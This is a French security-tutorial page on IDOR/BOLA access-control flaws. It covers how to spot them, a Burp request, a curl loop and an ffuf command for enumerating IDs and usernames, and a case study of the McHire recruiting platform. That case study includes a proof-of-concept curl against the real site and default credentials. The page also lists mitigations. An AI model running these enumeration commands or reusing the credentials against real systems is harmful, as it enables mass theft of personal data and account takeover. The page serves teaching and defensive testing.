IDOR (Insecure Direct Object Reference)

Reading time: 6 minutes

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu’un endpoint web ou API divulgue ou accepte un identifiant contrôlable par l’utilisateur qui est utilisé directement pour accéder à un objet interne sans vérifier que l’appelant est autorisé à accéder/modifier cet objet. L’exploitation réussie permet généralement une horizontal or vertical privilege-escalation, comme la lecture ou la modification des données d’autres utilisateurs et, dans le pire des cas, un full account takeover ou une mass-data exfiltration.

1. Identifier les IDOR potentiels

1. Cherchez des paramètres qui référencent un objet :

• Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
• Query: ?id=42, ?invoice=2024-00001
• Body / JSON: {"user_id": 321, "order_id": 987}
• Headers / Cookies: X-Client-ID: 4711

2. Privilégiez les endpoints qui lisent ou mettent à jour des données (GET, PUT, PATCH, DELETE).
3. Notez quand les identifiants sont séquentiels ou prédictibles – si votre ID est 64185742, alors 64185741 existe probablement.
4. Explorez les flux cachés ou alternatifs (par ex. le lien "Paradox team members" sur les pages de login) qui peuvent exposer des APIs supplémentaires.
5. Utilisez une session authentifiée avec peu de privilèges et ne changez que l’ID en gardant le même token/cookie. L’absence d’une erreur d’autorisation est généralement un signe d’IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Énumération automatisée (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Oracle de réponses d'erreur pour l'énumération utilisateur/fichier

Lorsqu'un endpoint de téléchargement accepte à la fois un username et un filename (par ex. /view.php?username=<u>&file=<f>), de subtiles différences dans les messages d'erreur créent souvent un oracle :

• username inexistant → "User not found"
• filename invalide mais extension valide → "File does not exist" (parfois liste aussi les fichiers disponibles)
• extension invalide → erreur de validation

Avec n'importe quelle session authentifiée, vous pouvez fuzz le paramètre username tout en conservant un filename bénin et filtrer sur la chaîne "User not found" pour découvrir des utilisateurs valides :

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Une fois que des noms d'utilisateur valides sont identifiés, demandez directement des fichiers spécifiques (p. ex., /view.php?username=amanda&file=privacy.odt). Ce schéma conduit fréquemment à la divulgation non autorisée des documents d'autres utilisateurs et à credential leakage.

2. Real-World Case Study – McHire Chatbot Platform (2025)

Lors d'une évaluation du portail de recrutement McHire propulsé par Paradox.ai, l'IDOR suivant a été découvert :

• Endpoint: PUT /api/lead/cem-xhr
• Authorization: user session cookie for any restaurant test account
• Body parameter: {"lead_id": N} – identifiant numérique séquentiel de 8 chiffres

En diminuant lead_id, le testeur a récupéré la full PII de candidats arbitraires (nom, e-mail, téléphone, adresse, préférences d'horaires) ainsi qu'un consumer JWT qui a permis le session hijacking. L'énumération de la plage 1 – 64,185,742 a exposé environ 64 millions d'enregistrements.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinée avec les identifiants admin par défaut (123456:123456) qui donnaient accès au compte de test, la vulnérabilité a entraîné une fuite de données critique à l'échelle de l'entreprise.

3. Impact d'IDOR / BOLA

• Escalade horizontale – lire/mettre à jour/supprimer les données d'autres utilisateurs.
• Escalade verticale – un utilisateur peu privilégié obtient des fonctionnalités réservées aux administrateurs.
• Fuite massive de données si les identifiants sont séquentiels (p. ex., IDs de candidats, factures).
• Prise de compte en volant des tokens ou en réinitialisant les mots de passe d'autres utilisateurs.

4. Atténuations & bonnes pratiques

1. Appliquer une autorisation au niveau des objets sur chaque requête (user_id == session.user).
2. Privilégier des identifiants indirects et non devinables (UUIDv4, ULID) au lieu des IDs auto-incrémentés.
3. Effectuer l'autorisation côté serveur, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI.
4. Implémenter les vérifications RBAC / ABAC dans un middleware central.
5. Ajouter du rate-limiting & logging pour détecter l'énumération d'IDs.
6. Tester la sécurité de chaque nouvel endpoint (unit, integration, et DAST).

5. Tooling

• BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
• OWASP ZAP: Auth Matrix, Forced Browse.
• Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Références

• McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
• OWASP Top 10 – Broken Access Control
• How to Find More IDORs – Vickie Li
• HTB Nocturnal: IDOR oracle → file theft